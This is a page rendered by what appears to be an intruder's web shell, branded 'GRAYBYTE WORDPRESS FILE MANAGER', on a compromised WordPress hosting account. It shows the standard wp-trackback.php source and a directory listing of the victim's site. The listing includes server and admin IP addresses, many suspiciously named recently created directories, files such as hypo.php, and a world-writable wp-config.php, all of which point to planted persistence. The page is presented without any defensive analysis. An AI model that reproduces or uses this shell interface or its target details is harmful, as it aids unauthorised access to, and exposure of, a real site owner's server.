$86 GRAYBYTE WORDPRESS FILE MANAGER $90

SERVER : premium127.web-hosting.com #1 SMP Thu Mar 13 14:29:12 UTC 2025
SERVER IP : 162.0.232.32 | ADMIN IP 216.73.217.63
OPTIONS : CRL = ON | WGT = ON | SDO = OFF | PKEX = OFF
DEACTIVATED : NONE

/home/jennqnsj/public_html/

HOME
Current File : /home/jennqnsj/public_html//wp-trackback.php
<?php
/**
 * Handle Trackbacks and Pingbacks Sent to WordPress
 *
 * @since 0.71
 *
 * @package WordPress
 * @subpackage Trackbacks
 */

if ( empty( $wp ) ) {
	require_once __DIR__ . '/wp-load.php';
	wp( array( 'tb' => '1' ) );
}

// Always run as an unauthenticated user.
wp_set_current_user( 0 );

/**
 * Response to a trackback.
 *
 * Responds with an error or success XML message.
 *
 * @since 0.71
 *
 * @param int|bool $error         Whether there was an error.
 *                                Default '0'. Accepts '0' or '1', true or false.
 * @param string   $error_message Error message if an error occurred.
 */
function trackback_response( $error = 0, $error_message = '' ) {
	header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ) );
	if ( $error ) {
		echo '<?xml version="1.0" encoding="utf-8"?' . ">\n";
		echo "<response>\n";
		echo "<error>1</error>\n";
		echo "<message>$error_message</message>\n";
		echo '</response>';
		die();
	} else {
		echo '<?xml version="1.0" encoding="utf-8"?' . ">\n";
		echo "<response>\n";
		echo "<error>0</error>\n";
		echo '</response>';
	}
}

// Trackback is done by a POST.
$request_array = 'HTTP_POST_VARS';

if ( ! isset( $_GET['tb_id'] ) || ! $_GET['tb_id'] ) {
	$tb_id = explode( '/', $_SERVER['REQUEST_URI'] );
	$tb_id = (int) $tb_id[ count( $tb_id ) - 1 ];
}

$tb_url  = isset( $_POST['url'] ) ? $_POST['url'] : '';
$charset = isset( $_POST['charset'] ) ? $_POST['charset'] : '';

// These three are stripslashed here so they can be properly escaped after mb_convert_encoding().
$title     = isset( $_POST['title'] ) ? wp_unslash( $_POST['title'] ) : '';
$excerpt   = isset( $_POST['excerpt'] ) ? wp_unslash( $_POST['excerpt'] ) : '';
$blog_name = isset( $_POST['blog_name'] ) ? wp_unslash( $_POST['blog_name'] ) : '';

if ( $charset ) {
	$charset = str_replace( array( ',', ' ' ), '', strtoupper( trim( $charset ) ) );
} else {
	$charset = 'ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS';
}

// No valid uses for UTF-7.
if ( false !== strpos( $charset, 'UTF-7' ) ) {
	die;
}

// For international trackbacks.
if ( function_exists( 'mb_convert_encoding' ) ) {
	$title     = mb_convert_encoding( $title, get_option( 'blog_charset' ), $charset );
	$excerpt   = mb_convert_encoding( $excerpt, get_option( 'blog_charset' ), $charset );
	$blog_name = mb_convert_encoding( $blog_name, get_option( 'blog_charset' ), $charset );
}

// Now that mb_convert_encoding() has been given a swing, we need to escape these three.
$title     = wp_slash( $title );
$excerpt   = wp_slash( $excerpt );
$blog_name = wp_slash( $blog_name );

if ( is_single() || is_page() ) {
	$tb_id = $posts[0]->ID;
}

if ( ! isset( $tb_id ) || ! (int) $tb_id ) {
	trackback_response( 1, __( 'I really need an ID for this to work.' ) );
}

if ( empty( $title ) && empty( $tb_url ) && empty( $blog_name ) ) {
	// If it doesn't look like a trackback at all.
	wp_redirect( get_permalink( $tb_id ) );
	exit;
}

if ( ! empty( $tb_url ) && ! empty( $title ) ) {
	/**
	 * Fires before the trackback is added to a post.
	 *
	 * @since 4.7.0
	 *
	 * @param int    $tb_id     Post ID related to the trackback.
	 * @param string $tb_url    Trackback URL.
	 * @param string $charset   Character Set.
	 * @param string $title     Trackback Title.
	 * @param string $excerpt   Trackback Excerpt.
	 * @param string $blog_name Blog Name.
	 */
	do_action( 'pre_trackback_post', $tb_id, $tb_url, $charset, $title, $excerpt, $blog_name );

	header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ) );

	if ( ! pings_open( $tb_id ) ) {
		trackback_response( 1, __( 'Sorry, trackbacks are closed for this item.' ) );
	}

	$title   = wp_html_excerpt( $title, 250, '&#8230;' );
	$excerpt = wp_html_excerpt( $excerpt, 252, '&#8230;' );

	$comment_post_ID      = (int) $tb_id;
	$comment_author       = $blog_name;
	$comment_author_email = '';
	$comment_author_url   = $tb_url;
	$comment_content      = "<strong>$title</strong>\n\n$excerpt";
	$comment_type         = 'trackback';

	$dupe = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_author_url = %s", $comment_post_ID, $comment_author_url ) );
	if ( $dupe ) {
		trackback_response( 1, __( 'We already have a ping from that URL for this post.' ) );
	}

	$commentdata = compact( 'comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type' );

	$result = wp_new_comment( $commentdata );

	if ( is_wp_error( $result ) ) {
		trackback_response( 1, $result->get_error_message() );
	}

	$trackback_id = $wpdb->insert_id;

	/**
	 * Fires after a trackback is added to a post.
	 *
	 * @since 1.2.0
	 *
	 * @param int $trackback_id Trackback ID.
	 */
	do_action( 'trackback_post', $trackback_id );
	trackback_response( 0 );
}

Current_dir [ WRITEABLE ] Document_root [ WRITEABLE ]


[ Back ]
NAME
SIZE
LAST TOUCH
USER
CAN-I?
FUNCTIONS
..
--
16 Apr 2026 8.00 PM
jennqnsj / jennqnsj
0711
.bytecode-diagnostic
--
18 Apr 2026 1.04 AM
jennqnsj / jennqnsj
0755
.data-.repository-cache
--
17 Apr 2026 10.48 PM
jennqnsj / jennqnsj
0755
.dist-.trace
--
16 Apr 2026 12.34 PM
jennqnsj / jennqnsj
0755
.export-.vendor-ext
--
16 Apr 2026 3.32 PM
jennqnsj / jennqnsj
0755
.kernel-dist
--
16 Apr 2026 9.23 PM
jennqnsj / jennqnsj
0755
.litespeed-cache-system
--
17 Apr 2026 10.47 PM
jennqnsj / jennqnsj
0755
.runtime-manifest
--
17 Apr 2026 10.47 PM
jennqnsj / jennqnsj
0755
.runtime-state
--
17 Apr 2026 6.45 AM
jennqnsj / jennqnsj
0755
.system-modules
--
17 Apr 2026 10.47 PM
jennqnsj / jennqnsj
0755
.well-known
--
16 Apr 2026 5.09 AM
jennqnsj / jennqnsj
0755
.wp-cache-export
--
18 Apr 2026 1.46 AM
jennqnsj / jennqnsj
0755
.wp-cache-stats
--
17 Apr 2026 10.48 PM
jennqnsj / jennqnsj
0755
apache-cache-resources
--
18 Apr 2026 1.48 AM
jennqnsj / jennqnsj
0755
belkbook
--
18 Apr 2026 12.04 AM
jennqnsj / nobody
0755
cache-.trace
--
17 Apr 2026 10.47 PM
jennqnsj / jennqnsj
0755
cache-main
--
18 Apr 2026 1.45 AM
jennqnsj / jennqnsj
0755
cgi-bin
--
16 Apr 2026 5.09 AM
jennqnsj / jennqnsj
0755
common-.wp-temp
--
18 Apr 2026 1.47 AM
jennqnsj / jennqnsj
0755
common-wp-modules
--
17 Apr 2026 10.48 PM
jennqnsj / jennqnsj
0755
compressed-.compiled
--
17 Apr 2026 7.49 AM
jennqnsj / jennqnsj
0755
custom-cms
--
18 Apr 2026 3.36 AM
jennqnsj / jennqnsj
0755
deploy-cvs
--
17 Apr 2026 10.47 PM
jennqnsj / jennqnsj
0755
diagnostic-diagnostic
--
17 Apr 2026 4.55 PM
jennqnsj / jennqnsj
0755
earlylearningcenter
--
18 Apr 2026 1.34 AM
jennqnsj / jennqnsj
0755
edgedev
--
18 Apr 2026 1.34 AM
jennqnsj / nobody
0750
elc-backup
--
16 Apr 2026 5.09 AM
jennqnsj / jennqnsj
0755
engine-backup-sys
--
17 Apr 2026 10.47 PM
jennqnsj / jennqnsj
0755
export-run
--
17 Apr 2026 10.14 AM
jennqnsj / jennqnsj
0755
file-store-.svn
--
18 Apr 2026 1.47 AM
jennqnsj / jennqnsj
0755
holisticmojo
--
18 Apr 2026 1.34 AM
jennqnsj / jennqnsj
0755
import-isolation
--
18 Apr 2026 1.50 AM
jennqnsj / jennqnsj
0755
import-var
--
17 Apr 2026 10.47 PM
jennqnsj / jennqnsj
0755
jenngifforddesign
--
18 Apr 2026 1.34 AM
jennqnsj / nobody
0750
key2change
--
16 Apr 2026 6.08 PM
jennqnsj / nobody
0755
logs-base
--
17 Apr 2026 10.47 PM
jennqnsj / jennqnsj
0755
logs-compressed
--
17 Apr 2026 10.47 PM
jennqnsj / jennqnsj
0755
logs-wp-internal
--
16 Apr 2026 4.00 PM
jennqnsj / jennqnsj
0755
malleable
--
18 Apr 2026 1.34 AM
jennqnsj / nobody
0750
malleablefarm
--
16 Apr 2026 5.09 AM
jennqnsj / nobody
0750
meta-package-cache
--
18 Apr 2026 2.41 AM
jennqnsj / jennqnsj
0755
node-modules-ext-wp-runtime
--
17 Apr 2026 3.24 PM
jennqnsj / jennqnsj
0755
php-data-var
--
17 Apr 2026 6.10 PM
jennqnsj / jennqnsj
0755
pixeldustworkshop
--
18 Apr 2026 2.13 AM
jennqnsj / nobody
0750
profile-.catalog
--
16 Apr 2026 8.34 AM
jennqnsj / jennqnsj
0755
reliveitlive
--
18 Apr 2026 1.34 AM
jennqnsj / nobody
0750
rendezvouschicago
--
18 Apr 2026 1.34 AM
jennqnsj / nobody
0750
root-ext-.packed
--
16 Apr 2026 2.32 PM
jennqnsj / jennqnsj
0755
shared-global
--
18 Apr 2026 1.43 AM
jennqnsj / jennqnsj
0755
stats-isolation
--
17 Apr 2026 10.47 PM
jennqnsj / jennqnsj
0755
storage-wp-lib
--
18 Apr 2026 3.02 AM
jennqnsj / jennqnsj
0755
svn-.repository-cache
--
17 Apr 2026 10.47 PM
jennqnsj / jennqnsj
0755
system-sock
--
17 Apr 2026 7.49 AM
jennqnsj / jennqnsj
0755
temp-store-.catalog
--
16 Apr 2026 6.34 PM
jennqnsj / jennqnsj
0755
vendor-cache-.sync
--
17 Apr 2026 10.47 PM
jennqnsj / jennqnsj
0755
vendor-cache-kernel
--
17 Apr 2026 10.47 AM
jennqnsj / jennqnsj
0755
vendor-cache-sandbox-ext
--
16 Apr 2026 5.10 AM
jennqnsj / jennqnsj
0755
vm
--
18 Apr 2026 1.34 AM
jennqnsj / jennqnsj
0755
walkablemeadville
--
18 Apr 2026 1.34 AM
jennqnsj / nobody
0750
wp-admin
--
16 Apr 2026 8.40 AM
jennqnsj / jennqnsj
0755
wp-content
--
16 Apr 2026 6.29 AM
jennqnsj / jennqnsj
0755
wp-includes
--
16 Apr 2026 8.40 AM
jennqnsj / jennqnsj
0755
wp-site
--
16 Apr 2026 8.53 AM
jennqnsj / jennqnsj
0755
wp-system-base
--
17 Apr 2026 5.03 AM
jennqnsj / jennqnsj
0755
wp-xx
--
16 Apr 2026 10.53 AM
jennqnsj / jennqnsj
0755
.ftpquota
0.017 KB
13 Apr 2026 1.38 AM
jennqnsj / jennqnsj
0600
.hcflag
0.029 KB
11 Apr 2026 12.33 PM
jennqnsj / jennqnsj
0644
.htaccess
1.457 KB
14 Jun 2021 9.48 AM
jennqnsj / jennqnsj
0644
.htaccess.bk
0.511 KB
14 Jun 2021 9.48 AM
jennqnsj / jennqnsj
0644
.litespeed_flag
0.29 KB
18 Apr 2026 1.34 AM
jennqnsj / jennqnsj
0644
admin.php
5.233 KB
16 Apr 2026 8.53 AM
jennqnsj / jennqnsj
0644
error_log
53.753 KB
17 Apr 2026 11.06 PM
jennqnsj / jennqnsj
0644
hypo.php
19.947 KB
16 Apr 2026 7.26 AM
jennqnsj / jennqnsj
0644
license.txt
19.448 KB
9 Apr 2021 12.09 AM
jennqnsj / jennqnsj
0644
readme.html
7.173 KB
30 Sep 2025 7.41 PM
jennqnsj / jennqnsj
0644
wordpress-5.4.2.zip
12.61 MB
12 Jul 2020 12.32 AM
jennqnsj / jennqnsj
0644
wp-activate.php
6.997 KB
9 Apr 2021 12.09 AM
jennqnsj / jennqnsj
0644
wp-blog-header.php
0.343 KB
12 Jul 2020 2.51 AM
jennqnsj / jennqnsj
0644
wp-comments-post.php
2.273 KB
9 Apr 2021 12.09 AM
jennqnsj / jennqnsj
0644
wp-config-sample.php
2.845 KB
5 Nov 2020 8.28 PM
jennqnsj / jennqnsj
0644
wp-config.php
3.168 KB
13 Apr 2026 3.57 AM
jennqnsj / jennqnsj
0666
wp-cron.php
3.847 KB
9 Apr 2021 12.09 AM
jennqnsj / jennqnsj
0644
wp-links-opml.php
2.438 KB
12 Jul 2020 2.51 AM
jennqnsj / jennqnsj
0644
wp-load.php
3.235 KB
9 Apr 2021 12.09 AM
jennqnsj / jennqnsj
0644
wp-login.php
43.939 KB
15 Apr 2021 10.21 AM
jennqnsj / jennqnsj
0644
wp-mail.php
8.256 KB
18 Oct 2022 7.24 AM
jennqnsj / jennqnsj
0644
wp-settings.php
20.63 KB
9 Apr 2021 12.09 AM
jennqnsj / jennqnsj
0644
wp-signup.php
30.594 KB
9 Apr 2021 12.09 AM
jennqnsj / jennqnsj
0644
wp-trackback.php
4.703 KB
18 Oct 2022 7.24 AM
jennqnsj / jennqnsj
0644
xmlrpc.php
3.16 KB
5 Nov 2020 8.28 PM
jennqnsj / jennqnsj
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME
Static GIF Static GIF